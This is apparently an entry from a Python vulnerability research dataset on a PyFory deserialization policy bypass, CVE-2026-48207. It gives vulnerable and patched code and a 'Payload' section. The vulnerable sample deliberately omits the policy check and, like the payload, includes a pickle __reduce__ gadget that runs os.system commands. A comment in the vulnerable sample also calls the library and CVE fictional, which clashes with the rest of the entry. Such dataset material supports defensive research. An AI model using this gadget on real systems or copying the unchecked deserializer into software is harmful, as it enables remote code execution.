VAITP Dataset

← Back to the dataset

CVE-2026-48207

Apache Fory PyFory deserialization bypasses security policy validation.

  • CVSS 9.8
  • CWE-502
  • Input Validation and Sanitization
  • Remote

Deserialization of untrusted data in Apache Fory PyFory. PyFory's ReduceSerializer could bypass documented DeserializationPolicy validation hooks during reduce-state restoration and global-name resolution. An application is vulnerable if it deserializes attacker-controlled data using PyFory Python-native mode with strict mode disabled and relies on DeserializationPolicy to restrict unsafe classes, functions, or module attributes. This issue affects Apache Fory: from before 1.0.0. Mitigation: Users of Apache Fory are recommended to upgrade to version 1.0.0 or later, which enforces DeserializationPolicy validation for the affected ReduceSerializer paths and thus fixes this issue.

CVSS base score
9.8
Published
2026-05-21
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Apache Fory
Fixed by upgrading
Yes

Solution

Upgrade Apache Fory to version 1.0.0 or later.

Vulnerable code sample

import pickle
import os
import io

# This code is a conceptual representation of a vulnerability similar to the
# one described. The library 'pyfory' and the CVE are fictional. This
# example uses Python's standard library to simulate the described flaw.

class DeserializationPolicy:
    """A user-defined policy meant to restrict dangerous classes/functions."""
    def __init__(self, denylist):
        # In a real scenario, this would be a more robust check.
        self.denied_names = {f"{item.__module__}.{item.__name__}" for item in denylist}

    def validate(self, module, name):
        """Checks if a class or function is allowed. This is the hook that will be bypassed."""
        if f"{module}.{name}" in self.denied_names:
            raise PermissionError(f"Deserialization of '{module}.{name}' is forbidden by policy.")

class ReduceSerializer:
    """A serializer that is vulnerable because it fails to use the policy correctly."""
    def __init__(self, stream, policy):
        self.stream = stream
        # The policy is accepted but will be ignored in the vulnerable path.
        self.policy = policy

    def load(self):
        # This custom Unpickler simulates the vulnerability.
        class VulnerableUnpickler(pickle.Unpickler):
            def find_class(self, module, name):
                # VULNERABILITY: The policy's validation hook is not called here.
                # The code proceeds to resolve the global name directly, bypassing
                # the security check that the user relies on. A fixed version
                # would call self.policy.validate(module, name) before proceeding.
                return super().find_class(module, name)

        # The vulnerable unpickler is used, which does not enforce the policy.
        unpickler = VulnerableUnpickler(self.stream)
        return unpickler.load()

def deserialize(data, policy=None, strict=False):
    """
    Simulates the vulnerable pyfory.deserialize function from before the fix.
    With strict=False, it uses the flawed ReduceSerializer.
    """
    if strict:
        # A non-vulnerable path would exist here, but we focus on the flawed one.
        raise NotImplementedError("Strict mode is not demonstrated.")
    
    # The application uses the vulnerable serializer, passing a policy that will be ignored.
    stream = io.BytesIO(data)
    return ReduceSerializer(stream, policy=policy).load()

# --- Attacker's Code ---
# The attacker creates a payload that executes a command upon deserialization.

class Exploit:
    def __reduce__(self):
        # The __reduce__ method is a hook used by pickle. It instructs the
        # unpickler to call a specific function (os.system) with arguments.
        command = "echo VULNERABLE: Remote code execution has occurred."
        return (os.system, (command,))

# The attacker serializes the malicious object.
malicious_payload = pickle.dumps(Exploit())


# --- Victim's Application Code ---
# The victim application attempts to safely deserialize data using a policy.

# 1. The user defines a policy to block dangerous functions like os.system.
security_policy = DeserializationPolicy(denylist=[os.system])

# 2. The application deserializes untrusted data with strict mode disabled,
#    believing the policy will protect it.
print("Attempting to deserialize attacker payload with a security policy...")
try:
    # The 'security_policy' is passed, but the vulnerability in ReduceSerializer
    # means its validation rules will be bypassed.
    deserialized_object = deserialize(
        malicious_payload, 
        policy=security_policy, 
        strict=False
    )
except Exception as e:
    print(f"Deserialization failed with an error: {e}")

Patched code sample

import importlib

class SecurityError(Exception):
    """Custom exception for deserialization policy violations."""
    pass

class DeserializationPolicy:
    """
    Defines a security policy to restrict which globals (classes, functions)
    can be deserialized by name.
    """
    def __init__(self, forbidden_globals):
        # forbidden_globals is a set of (module_name, global_name) tuples
        # Example: {('os', 'system')}
        self.forbidden_globals = forbidden_globals

    def validate_global_name(self, module_name, name):
        """
        Validates if resolving a global name is permitted by the policy.
        This hook is called by the fixed serializer.
        """
        if (module_name, name) in self.forbidden_globals:
            raise SecurityError(
                f"Policy disallows deserialization of '{name}' from module '{module_name}'."
            )

class FixedReduceSerializer:
    """
    A conceptual representation of the fixed serializer, demonstrating how the
    DeserializationPolicy is now correctly enforced during global name resolution.
    """

    def _resolve_global(self, module_name, name, policy):
        """
        Represents the fixed path for resolving a global name (e.g., a class or function)
        during deserialization.

        In a vulnerable version, the policy validation step would be missing.
        """
        # --- THE FIX ---
        # The serializer now explicitly calls the policy's validation hook before
        # attempting to import or access the global object. This prevents the bypass.
        if policy:
            policy.validate_global_name(module_name, name)
        # --- END OF FIX ---

        try:
            module = importlib.import_module(module_name)
            return getattr(module, name)
        except (ImportError, AttributeError) as e:
            # In a real library, this might be a more specific exception.
            raise RuntimeError(f"Could not resolve global '{name}' from module '{module_name}'") from e

    def loads(self, serialized_object, policy=None):
        """
        Simulates the deserialization process.

        In a real implementation, this method would parse a byte stream and, upon
        encountering an opcode for a global object, would call _resolve_global.
        This example uses a simple tuple to represent the serialized data.
        """
        # Example serialized_object: ('global', 'os', 'system')
        if isinstance(serialized_object, tuple) and serialized_object[0] == 'global':
            op, module_name, name = serialized_object
            
            # The deserialization logic now funnels all global name lookups
            # through the fixed, policy-aware resolution method.
            return self._resolve_global(module_name, name, policy)

        # In a real scenario, this would handle many other data types and opcodes.
        return serialized_object

Payload

import os
import pickle

class Exploit:
    def __reduce__(self):
        command = 'id'
        return (os.system, (command,))

# To generate the payload, you would serialize an instance of this class:
# payload = pickle.dumps(Exploit())

Cite this entry

@misc{vaitp:cve202648207,
  title        = {{Apache Fory PyFory deserialization bypasses security policy validation.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-48207},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48207/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::